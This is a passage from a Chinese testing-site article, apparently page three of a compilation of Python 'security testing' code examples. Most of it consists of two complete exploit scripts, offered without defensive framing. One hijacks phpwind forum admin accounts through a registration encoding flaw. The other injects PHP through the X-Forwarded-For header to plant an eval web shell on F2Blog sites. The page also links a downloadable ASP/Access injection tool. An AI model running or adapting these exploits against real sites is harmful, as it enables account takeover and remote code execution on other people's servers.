Python辅助安全测试常用代码示例

发表于:2010-5-12 14:22

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:ainux整理    来源:51Testing软件测试博客

  5、这个不是我写的,是一个网上的攻击phpwind论坛的一个代码:

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def usage():
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目标论坛地址如http://www.80sec.com/"
print " usertoattack 目标拥有权限的斑竹或管理员"
print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
print " 最新版本可以使用uid登陆"
print " 其他版本可以使用cookie+useragent登陆"
print "########################################################"
print ""

argvs=sys.argv
usage()

data = "regname=%s
%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=...@foo.com&regemailtoall=1&step=2"
% (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-
urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"

  6、黑客注入攻击,针对指定网站的注入演示:

#!c:\python24\pyton
# Exploit For F2Blog All Version
# Author BY MSN:pt...@vip.sina.com
# Date: Jan 29 2007

import sys
import httplib
from urlparse import urlparse
from time import sleep

def injection(realurl,path,evil): #url,/bk/,evilip
   cmd=""
   cookie=""
   header={'Accept':'*/*','Accept-Language':'zh-
cn','Referer':'http://'+realurl[1]+path+'index.php','Content-
Type':'application/x-www-form-urlencoded','User-
Agent':useragent,'Host':realurl[1],'Content-length':len(cmd),
         'Connection':'Keep-Alive','X-Forwarded-
For':evil,'Cookie':cookie}
   #cmd =
"formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=
%E6%8F%90+%C2%A0+%E4%BA%A4"
   #print header
   #print path
   #sys.exit(1)
   http = httplib.HTTPConnection(realurl[1])
   http.request("POST",path+"index.php",cmd, header)
   sleep(1)
   http1 = httplib.HTTPConnection(realurl[1])
   http1.request("GET",path+"cache/test11.php")
   response = http1.getresponse()
   re1 = response.read()
   #print re1
   print re1.find('test')
   if re1.find('test') ==0:
     print 'Expoilt Success!\n'
     print 'View Your shell:\t%s' %shell
     sys.exit(1);

   else:
     sys.stdout.write("Expoilt FALSE!")
     http.close()
     #sleep(1)
     #break
     sys.stdout.write("\n")

def main ():
print 'Exploit For F2Blog All Version'
print 'Codz by pt...@vip.sina.com\n'
if len(sys.argv) == 2:
   url = urlparse(sys.argv[1])
   if url[2:-1] != '/':
       u = url[2] + '/'
   else:
       u = url[2] #u=/bk/
else:
   print "Usage: %s <url> " % sys.argv[0]
   print "Example: %s http://127.0.0.1/bk" % sys.argv[0]
   sys.exit(0)

print '[+] Connect %s' % url[1]
print '[+] Trying...'
print '[+] Plz wait a long long time...'
global shell,useragent
shell="http://"+url[1]+u+"cache/test11.php"
query ='fputs(fopen(\'cache/test11.php\',\'w+\'),\'<?
@eval($_REQUEST[c])?>test\')'
query ='\'));'+query+';/*'
evilip=query
useragent=""
cookie=""
injection(url,u,evilip)
evilip=""
injection(url,u,evilip)

print '[+] Finished'

if __name__ == '__main__': main()

  7、黑客注入攻击,这是一个完整的access+asp注入工具。

  代码有点长,自己下载吧。

  http://www.xfocus.net/tools/200408/780.html

  国外还有更厉害的python注入工具(sqlmap),支持现在基本上所有的数据库。 MySQL, Oracle, PostgreSQL and Microsoft SQL

  Server database management system back-end. Besides these four DBMS,

  sqlmap can also identify Microsoft Access, DB2, Informix and Sybase;

33/3<123
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号